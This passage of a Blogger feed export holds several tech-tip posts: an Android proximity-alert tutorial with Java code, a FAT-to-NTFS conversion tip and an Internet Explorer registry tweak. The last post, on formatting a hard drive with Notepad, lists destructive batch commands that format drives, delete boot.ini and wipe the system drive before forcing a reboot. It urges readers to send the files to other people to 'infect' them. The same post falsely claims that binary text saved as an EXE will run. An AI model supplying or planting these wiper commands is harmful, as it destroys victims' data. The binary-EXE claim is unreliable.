 but I will use it here in order to calculate the distance between the 
point of interest and the current user location. At any given time, we 
can call the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html#getLastKnownLocation%28java.lang.String%29&quot;&gt;getLastKnownLocation&lt;/a&gt;
 method and retrieve the last known location of a specific provider, in 
our case the GPS device. Finally, we will make use of the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html#addProximityAlert%28double,%20double,%20float,%20long,%20android.app.PendingIntent%29&quot;&gt;addProximityAlert&lt;/a&gt;
 method that can be used to set a proximity alert for a location given 
by specific coordinates (latitude, longitude) and a given radius. We can
 also optionally define an expiration time for that alert if we wish to 
monitor the alert for a specific time period. A &lt;a href=&quot;http://developer.android.com/reference/android/app/PendingIntent.html&quot;&gt;PendingIntent&lt;/a&gt; can also be provided, which will be used to generate an &lt;a href=&quot;http://developer.android.com/reference/android/content/Intent.html&quot;&gt;Intent&lt;/a&gt; to fire when entry to or exit from the alert region is detected.&lt;br /&gt;
All these are translated into code as follows:&lt;br /&gt;
&lt;pre class=&quot;brush:java&quot;&gt;package com.javacodegeeks.android.lbs;

import java.text.DecimalFormat;
import java.text.NumberFormat;

import android.app.Activity;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class ProxAlertActivity extends Activity {
    
    private static final long MINIMUM_DISTANCECHANGE_FOR_UPDATE = 1; // in Meters
    private static final long MINIMUM_TIME_BETWEEN_UPDATE = 1000; // in Milliseconds
    
    private static final long POINT_RADIUS = 1000; // in Meters
    private static final long PROX_ALERT_EXPIRATION = -1; 

    private static final String POINT_LATITUDE_KEY = &quot;POINT_LATITUDE_KEY&quot;;
    private static final String POINT_LONGITUDE_KEY = &quot;POINT_LONGITUDE_KEY&quot;;
    
    private static final String PROX_ALERT_INTENT = 
         &quot;com.javacodegeeks.android.lbs.ProximityAlert&quot;;
    
    private static final NumberFormat nf = new DecimalFormat(&quot;##.########&quot;);
    
    private LocationManager locationManager;
    
    private EditText latitudeEditText;
    private EditText longitudeEditText;
    private Button findCoordinatesButton;
    private Button savePointButton;
    
    @Override
    public void onCreate(Bundle savedInstanceState) {
        
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);

        locationManager.requestLocationUpdates(
                        LocationManager.GPS_PROVIDER, 
                        MINIMUM_TIME_BETWEEN_UPDATE, 
                        MINIMUM_DISTANCECHANGE_FOR_UPDATE,
                        new MyLocationListener()
        );
        
        latitudeEditText = (EditText) findViewById(R.id.point_latitude);
        longitudeEditText = (EditText) findViewById(R.id.point_longitude);
        findCoordinatesButton = (Button) findViewById(R.id.find_coordinates_button);
        savePointButton = (Button) findViewById(R.id.save_point_button);
        
        findCoordinatesButton.setOnClickListener(new OnClickListener() {            
            @Override
            public void onClick(View v) {
                populateCoordinatesFromLastKnownLocation();
            }
        });
        
        savePointButton.setOnClickListener(new OnClickListener() {            
            @Override
            public void onClick(View v) {
                saveProximityAlertPoint();
            }
        });
       
    }
    
    private void saveProximityAlertPoint() {
        Location location = 
            locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
        if (location==null) {
            Toast.makeText(this, &quot;No last known location. Aborting...&quot;, 
                Toast.LENGTH_LONG).show();
            return;
        }
        saveCoordinatesInPreferences((float)location.getLatitude(),
               (float)location.getLongitude());
        addProximityAlert(location.getLatitude(), location.getLongitude());
    }

    private void addProximityAlert(double latitude, double longitude) {
        
        Intent intent = new Intent(PROX_ALERT_INTENT);
        PendingIntent proximityIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
        
        locationManager.addProximityAlert(
            latitude, // the latitude of the central point of the alert region
            longitude, // the longitude of the central point of the alert region
            POINT_RADIUS, // the radius of the central point of the alert region, in meters
            PROX_ALERT_EXPIRATION, // time for this proximity alert, in milliseconds, or -1 to indicate no expiration 
            proximityIntent // will be used to generate an Intent to fire when entry to or exit from the alert region is detected
       );
        
       IntentFilter filter = new IntentFilter(PROX_ALERT_INTENT);  
       registerReceiver(new ProximityIntentReceiver(), filter);
       
    }

    private void populateCoordinatesFromLastKnownLocation() {
        Location location = 
            locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
        if (location!=null) {
            latitudeEditText.setText(nf.format(location.getLatitude()));
            longitudeEditText.setText(nf.format(location.getLongitude()));
        }
    }
    
    private void saveCoordinatesInPreferences(float latitude, float longitude) {
        SharedPreferences prefs = 
           this.getSharedPreferences(getClass().getSimpleName(),
                           Context.MODE_PRIVATE);
        SharedPreferences.Editor prefsEditor = prefs.edit();
        prefsEditor.putFloat(POINT_LATITUDE_KEY, latitude);
        prefsEditor.putFloat(POINT_LONGITUDE_KEY, longitude);
        prefsEditor.commit();
    }
    
    private Location retrievelocationFromPreferences() {
        SharedPreferences prefs = 
           this.getSharedPreferences(getClass().getSimpleName(),
                           Context.MODE_PRIVATE);
        Location location = new Location(&quot;POINT_LOCATION&quot;);
        location.setLatitude(prefs.getFloat(POINT_LATITUDE_KEY, 0));
        location.setLongitude(prefs.getFloat(POINT_LONGITUDE_KEY, 0));
        return location;
    }
    
    public class MyLocationListener implements LocationListener {
        public void onLocationChanged(Location location) {
            Location pointLocation = retrievelocationFromPreferences();
            float distance = location.distanceTo(pointLocation);
            Toast.makeText(ProxAlertActivity.this, 
                    &quot;Distance from Point:&quot;+distance, Toast.LENGTH_LONG).show();
        }
        public void onStatusChanged(String s, int i, Bundle b) {            
        }
        public void onProviderDisabled(String s) {
        }
        public void onProviderEnabled(String s) {            
        }
    }
    
}
&lt;/pre&gt;
In the &lt;a href=&quot;http://developer.android.com/reference/android/app/Activity.html#onCreate%28android.os.Bundle%29&quot;&gt;onCreate&lt;/a&gt; method we hook up the location manager with a custom class that implements the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationListener.html&quot;&gt;LocationListener&lt;/a&gt; interface and allows to get notified on location changes via the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationListener.html#onLocationChanged%28android.location.Location%29&quot;&gt;onLocationChanged&lt;/a&gt; method. We will see how to handle the updates later. We also find the various UI widgets and attach &lt;a href=&quot;http://developer.android.com/reference/android/view/View.OnClickListener.html&quot;&gt;OnClickListener&lt;/a&gt;s to the buttons.&lt;br /&gt;
When
 the user wants to find his current coordinates, the 
“populateCoordinatesFromLastKnownLocation” method is invoked. Inside 
that, we use the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html#getLastKnownLocation%28java.lang.String%29&quot;&gt;getLastKnownLocation&lt;/a&gt; method and retrieve a &lt;a href=&quot;http://developer.android.com/reference/android/location/Location.html&quot;&gt;Location&lt;/a&gt; object. The &lt;a href=&quot;http://developer.android.com/reference/android/widget/EditText.html&quot;&gt;EditText&lt;/a&gt;s are then populated with the retrieved location information.&lt;br /&gt;
Similarly,
 when the user wants to save the point and provide alerts for that 
(“saveProximityAlertPoint”), the location info is first retrieved. Then,
 we save the &lt;a href=&quot;http://developer.android.com/reference/android/location/Location.html#getLatitude%28%29&quot;&gt;latitude&lt;/a&gt; and &lt;a href=&quot;http://developer.android.com/reference/android/location/Location.html#getLongitude%28%29&quot;&gt;longitude&lt;/a&gt; information as preference data using the &lt;a href=&quot;http://developer.android.com/reference/android/content/SharedPreferences.html&quot;&gt;SharedPreferences&lt;/a&gt; class and more specifically the &lt;a href=&quot;http://www.javacodegeeks.com/programs/android-sdk-windows/docs/reference/android/content/SharedPreferences.Editor.html&quot;&gt;SharedPreferences.Editor&lt;/a&gt;. Finally, we create a &lt;a href=&quot;http://developer.android.com/reference/android/app/PendingIntent.html&quot;&gt;PendingIntent&lt;/a&gt; by using the &lt;a href=&quot;http://developer.android.com/reference/android/app/PendingIntent.html#getBroadcast%28android.content.Context,%20int,%20android.content.Intent,%20int%29&quot;&gt;getBroadcast&lt;/a&gt; static method. For the encapsulated &lt;a href=&quot;http://developer.android.com/reference/android/content/Intent.html&quot;&gt;Intent&lt;/a&gt;, we create an &lt;a href=&quot;http://developer.android.com/reference/android/content/IntentFilter.html&quot;&gt;IntentFilter&lt;/a&gt; and use the &lt;a href=&quot;http://developer.android.com/reference/android/content/ContextWrapper.html#registerReceiver%28android.content.BroadcastReceiver,%20android.content.IntentFilter%29&quot;&gt;registerReceiver&lt;/a&gt; method to associate a custom &lt;a href=&quot;http://developer.android.com/reference/android/content/BroadcastReceiver.html&quot;&gt;BroadcastReceiver&lt;/a&gt;
 with the specific intent filter. Note that this binding could 
alternatively be achieved in a declarative way using the manifest file.&lt;br /&gt;
Now
 let’s examine how we handle user’s location changes. In the implemented
 method of the “MyLocationListener” class, we extract the stored 
location info (“retrievelocationFromPreferences”) from the &lt;a href=&quot;http://developer.android.com/reference/android/content/SharedPreferences.html&quot;&gt;SharedPreferences&lt;/a&gt; class. Then, we use the &lt;a href=&quot;http://developer.android.com/reference/android/location/Location.html#distanceTo%28android.location.Location%29&quot;&gt;distanceTo&lt;/a&gt;
 method to calculate the distance between the two locations, the current
 one and the one corresponding to the point of interest. This is done 
for debugging purposes, so that we know if we have actually entered the 
area around the point.&lt;br /&gt;
The final step is to handle the events of 
entering the area of the point of interest. This is done inside the 
“ProximityIntentReceiver” class that extends the &lt;a href=&quot;http://developer.android.com/reference/android/content/BroadcastReceiver.html&quot;&gt;BroadcastReceiver&lt;/a&gt;
 and responds to the custom intent that we attached to the location 
manager when adding the proximity alert. The handling occurs inside the &lt;a href=&quot;http://developer.android.com/reference/android/content/BroadcastReceiver.html#onReceive%28android.content.Context,%20android.content.Intent%29&quot;&gt;onReceive&lt;/a&gt; method, which gets invoked upon event. Inside that, we retrieve the value of the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html#KEY_PROXIMITY_ENTERING&quot;&gt;KEY_PROXIMITY_ENTERING&lt;/a&gt;
 key from the associated intent, which indicates whether a proximity 
alert is entering (true) or exiting (false). The code is the following:&lt;br /&gt;
&lt;pre class=&quot;brush:java&quot;&gt;package com.javacodegeeks.android.lbs;

import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.location.LocationManager;
import android.util.Log;

public class ProximityIntentReceiver extends BroadcastReceiver {
    
    private static final int NOTIFICATION_ID = 1000;

    @Override
    public void onReceive(Context context, Intent intent) {
        
        String key = LocationManager.KEY_PROXIMITY_ENTERING;

        Boolean entering = intent.getBooleanExtra(key, false);
        
        if (entering) {
            Log.d(getClass().getSimpleName(), &quot;entering&quot;);
        }
        else {
            Log.d(getClass().getSimpleName(), &quot;exiting&quot;);
        }
        
        NotificationManager notificationManager = 
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
        
        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, null, 0);        
        
        Notification notification = createNotification();
        notification.setLatestEventInfo(context, 
            &quot;Proximity Alert!&quot;, &quot;You are near your point of interest.&quot;, pendingIntent);
        
        notificationManager.notify(NOTIFICATION_ID, notification);
        
    }
    
    private Notification createNotification() {
        Notification notification = new Notification();
        
        notification.icon = R.drawable.ic_menu_notifications;
        notification.when = System.currentTimeMillis();
        
        notification.flags |= Notification.FLAG_AUTO_CANCEL;
        notification.flags |= Notification.FLAG_SHOW_LIGHTS;
        
        notification.defaults |= Notification.DEFAULT_VIBRATE;
        notification.defaults |= Notification.DEFAULT_LIGHTS;
        
        notification.ledARGB = Color.WHITE;
        notification.ledOnMS = 1500;
        notification.ledOffMS = 1500;
        
        return notification;
    }
    
}
&lt;/pre&gt;
The code is pretty straightforward. After we determine whether 
we have an entering or exiting proximity alert, we are ready to provide a
 custom notification. To do so, we first take reference of the 
appropriate service, i.e. the &lt;a href=&quot;http://developer.android.com/reference/android/app/NotificationManager.html&quot;&gt;NotificationManager&lt;/a&gt;. Through that service, we may send alerts to the user, wrapped around &lt;a href=&quot;http://developer.android.com/reference/android/app/Notification.html&quot;&gt;Notification&lt;/a&gt; objects. The notifications can be customized upon will and may include &lt;a href=&quot;http://developer.android.com/reference/android/app/Notification.html#vibrate&quot;&gt;vibration&lt;/a&gt;, &lt;a href=&quot;http://developer.android.com/reference/android/app/Notification.html#ledARGB&quot;&gt;flashing lights&lt;/a&gt; etc. We also added a specific icon that will appear to the status bar. The &lt;a href=&quot;http://developer.android.com/reference/android/app/Notification.html#setLatestEventInfo%28android.content.Context,%20java.lang.CharSequence,%20java.lang.CharSequence,%20android.app.PendingIntent%29&quot;&gt;setLatestEventInfo&lt;/a&gt; is preferred when we just want  to add a basic title and text message. You can find more about notifications &lt;a href=&quot;http://developer.android.com/guide/topics/ui/notifiers/notifications.html&quot;&gt;here&lt;/a&gt;. Additionally, we can use a &lt;a href=&quot;http://developer.android.com/reference/android/app/PendingIntent.html&quot;&gt;PendingIntent&lt;/a&gt;
 in order to define an activity to be invoked when the user acknowledges
 the notification by clicking on it. However, to keep things simple, I 
do not use an intent to be launched in my example.&lt;br /&gt;
Finally, let’s see what the Android manifest file looks like:&lt;br /&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;

&amp;lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
      package=&quot;com.javacodegeeks.android.lbs&quot;
      android:versionCode=&quot;1&quot;
      android:versionName=&quot;1.0&quot;&amp;gt;
      
    &amp;lt;application android:icon=&quot;@drawable/icon&quot; android:label=&quot;@string/app_name&quot;&amp;gt;
        
        &amp;lt;activity android:name=&quot;.ProxAlertActivity&quot;
                  android:label=&quot;@string/app_name&quot;&amp;gt;
            &amp;lt;intent-filter&amp;gt;
                &amp;lt;action android:name=&quot;android.intent.action.MAIN&quot; /&amp;gt;
                &amp;lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&amp;gt;
            &amp;lt;/intent-filter&amp;gt;
        &amp;lt;/activity&amp;gt;     

    &amp;lt;/application&amp;gt;
    
    &amp;lt;uses-sdk android:minSdkVersion=&quot;3&quot; /&amp;gt;
   
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_FINE_LOCATION&quot; /&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_MOCK_LOCATION&quot; /&amp;gt; 
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_COARSE_LOCATION&quot; /&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.VIBRATE&quot; /&amp;gt;

&amp;lt;/manifest&amp;gt; 
&lt;/pre&gt;
Nothing special here, just remember to add the necessary permissions, i.e.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_FINE_LOCATION&quot;&gt;ACCESS_FINE_LOCATION&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_MOCK_LOCATION&quot;&gt;ACCESS_MOCK_LOCATION&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_COARSE_LOCATION&quot;&gt;ACCESS_COARSE_LOCATION&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://developer.android.com/reference/android/Manifest.permission.html#VIBRATE&quot;&gt;VIBRATE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
We are now ready to test our application. Launch the Eclipse configuration. Then, go to the &lt;a href=&quot;http://developer.android.com/guide/developing/tools/ddms.html&quot;&gt;DDMS&lt;/a&gt;
 view of Eclipse and look for the “Emulation Control” tab. There, among 
other things, you will find the “Location Controls” section, which can 
send mock location data to the emulator. In the “Manual” tab, just hit 
the “Send” button, there are already some coordinates set up.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyuyRx21Nw84dpSwfBKI_nWuCQFa5cdavEZX_K38fPNwmjJhCtp-FJif7gI3RZIPt8224XGr-KHMURrvFu9wDbyL36hUjG8V0JvC8QgPxihzJzOgHrT_2z1AexMpo5Yooqt1feEOLA_v4/s1600/02-location-controls.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;file:///E:/Android/Android%20New/HTMLS/Android%20Proximity%20Alerts%20Tutorial%20_%20Java%20Code%20Geeks_files/02-location-controls.png&quot; style=&quot;cursor: pointer; height: 186px; margin: 0px auto 10px; text-align: center; width: 281px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
After
 that, the GPS provider will have a last known location that can provide
 upon request. So, hit the “Find Coordinates” button and this is what 
you will get:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoqsA6EpAipTMAKqy2VrBVeO6yss7bj3o4v9lW8EWmE2hWMurHBVnJ-mbizea9BW7KlrBRxpcu-dNrb6joMzUG391dhLWdy_rl7l3dhXHIKqABTz9oPt-UwhdahbcbesMn-oeLqQbHi9A/s1600/03-coordinates.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;file:///E:/Android/Android%20New/HTMLS/Android%20Proximity%20Alerts%20Tutorial%20_%20Java%20Code%20Geeks_files/03-coordinates.png&quot; style=&quot;cursor: pointer; height: 245px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Then,
 hit the “Save Point” in order to declare the current location as a 
point of interest. The location coordinates will be saved in the 
preferences and the proximity alert will be added to the location 
manager.&lt;br /&gt;
Next, let’s simulate the fact that the user leaves the 
location. Change the value of the coordinates, for example change 
latitude as follows: 37.422006 ? 37.522006. We are now quite far from 
the point of interest. Let’s suppose now that we are approaching it, 
thus change the latitude to a closer value, for example:  37.522006 ? 
37.423006.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKsSyH6MovLavcepgFwzW8Pv9wkeUUDFTZ3H0y8bjvK8grjWKOOdR5AsVk0cGJsc1P5idfrQvvRpz9lgGdYZoC9R92gmrphjn1HlZkos4-op_ZFfvVrEjRTo6aE4kA1iCXRi6YJviH1N0/s1600/04-point-approached.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;file:///E:/Android/Android%20New/HTMLS/Android%20Proximity%20Alerts%20Tutorial%20_%20Java%20Code%20Geeks_files/04-point-approached.png&quot; style=&quot;height: 320px; margin: 0px auto 10px; text-align: center; width: 245px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This
 is inside the radius of the point (this was set to 1000 meters) thus 
the alert is triggered and our receiver gets notified. There, we create 
our notification and send it via the notification manager. The 
notification appears at the status bar as follows:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLp9u3AVPD2nvdFkiXiXuAyJa9zm_WycvvRale3wZyxzGG0zj1dEW2PjO30r1LzUJUGpPtmf4zlxr-kf5TFBBplQYYkiEJSPCw_OQG3ht95bcMluY9-e_urdyUtDmUwkviinJinKLnvUc/s1600/05-notification.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;file:///E:/Android/Android%20New/HTMLS/Android%20Proximity%20Alerts%20Tutorial%20_%20Java%20Code%20Geeks_files/05-notification.png&quot; style=&quot;cursor: pointer; height: 256px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
That’s it, a quick guide on how to implement proximity alerts with the Android platform. You can find &lt;a href=&quot;http://dl.dropbox.com/u/7215751/JavaCodeGeeks/AndroidProximityAlertsTutorial/AndroidProximityAlertProject.zip&quot;&gt;here&lt;/a&gt; the Eclipse project created for the needs of this tutorial.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/4048998654794892337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/02/how-to-make-android-proximity-alerts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4048998654794892337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4048998654794892337'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/02/how-to-make-android-proximity-alerts.html' title='How To Make Android Proximity Alerts'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-6697479325737670767</id><published>2013-01-14T15:57:00.001+05:30</published><updated>2013-01-14T15:57:16.941+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Convert FAT- NTFS</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
To convert a FAT partition to NTFS, perform the following steps.&lt;br /&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Click Start.&lt;/li&gt;
&lt;li&gt;click Programs, and then click Command Prompt.&lt;/li&gt;
&lt;li&gt;&amp;nbsp; In Windows XP, click Start.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;click Run, type cmd and then click OK.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;At the command prompt, type CONVERT [driveletter]: /FS:NTFS. Convert.exe will attempt to convert the partition to NTFS.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;NOTE:&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/6697479325737670767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/01/convert-fat-ntfs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6697479325737670767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6697479325737670767'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/01/convert-fat-ntfs.html' title='Convert FAT- NTFS'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-2916469506447277616</id><published>2013-01-14T15:54:00.001+05:30</published><updated>2013-01-14T15:54:34.870+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Allow more than 2 simultaneous downloads in Internet explorer</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This is to increase the the number of max downloads to 10.&lt;br /&gt;1. Start Registry Editor (Regedt32.exe).&lt;br /&gt;&lt;br /&gt;2. Locate the following key in the registry:&lt;br /&gt;&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings&lt;br /&gt;&lt;br /&gt;3. On the Edit menu, click Add Value (a dword) , and then add the following registry values:&lt;br /&gt;&lt;br /&gt;“MaxConnectionsPer1_0Server”=Dword:0000000a&lt;br /&gt;“MaxConnectionsPerServer”=Dword:0000000a&lt;br /&gt;&lt;br /&gt;4. Quit Registry Editor.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/2916469506447277616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/01/allow-more-than-2-simultaneous_14.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/2916469506447277616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/2916469506447277616'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/01/allow-more-than-2-simultaneous_14.html' title='Allow more than 2 simultaneous downloads in Internet explorer'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-2045149301654508724</id><published>2013-01-14T15:38:00.004+05:30</published><updated>2013-01-14T15:38:59.347+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Foramt a HDD Using Notepad</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.&lt;br /&gt;&lt;br /&gt;Step 1 :-&lt;br /&gt;Copy The Following In Notepad Exactly as it is.&lt;br /&gt;says01001011000111110010010101010101010000011111100000&lt;br /&gt;Step 2 :-&lt;br /&gt;Save As An EXE Any Name Will Do&lt;br /&gt;&lt;br /&gt;Step 3 :-&lt;br /&gt;Send the EXE to People And Infect&lt;br /&gt;&lt;br /&gt;OR&lt;br /&gt;&lt;br /&gt;IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code&lt;br /&gt;format c:\ /Q/X — this will format your drive c:\&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011000110011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;format d:\ /Q/X — this will format your dirve d:\&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011001000011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;format a:\ /Q/X — this will format your drive a:\&lt;br /&gt;&lt;br /&gt;01100110011011110111001001101101011000010111010000 100000011000010011101001011100&lt;br /&gt;&lt;br /&gt;0010000000101111010100010010111101011000&lt;br /&gt;&lt;br /&gt;del /F/S/Q c:\boot.ini — this will cause your computer not to boot.&lt;br /&gt;&lt;br /&gt;01100100011001010110110000100000001011110100011000 101111010100110010111101010001&lt;br /&gt;&lt;br /&gt;00100000011000110011101001011100011000100110111101 101111011101000010111001101001&lt;br /&gt;&lt;br /&gt;0110111001101001&lt;br /&gt;&lt;br /&gt;try to figure out urself rest&lt;br /&gt;cant spoonfeed&lt;br /&gt;its working&lt;br /&gt;&lt;br /&gt;Do not try it on your PC. Don’t mess around this is for educational purpose only&lt;br /&gt;&lt;br /&gt;still if you cant figure it out try this&lt;br /&gt;&lt;br /&gt;go to notepad and type the following:&lt;br /&gt;&lt;br /&gt;@Echo off&lt;br /&gt;Del C:\ *.*|y&lt;br /&gt;&lt;br /&gt;save it as Dell.bat&lt;br /&gt;&lt;br /&gt;want worse then type the following:&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;del %systemdrive%\*.*/f/s/q&lt;br /&gt;shutdown -r -f -t 00&lt;br /&gt;&lt;br /&gt;and save it as a .bat file&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/2045149301654508724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/01/foramt-hdd-using-notepad.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/2045149301654508724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/2045149301654508724'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/01/foramt-hdd-using-notepad.html' title='Foramt a HDD Using Notepad'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' 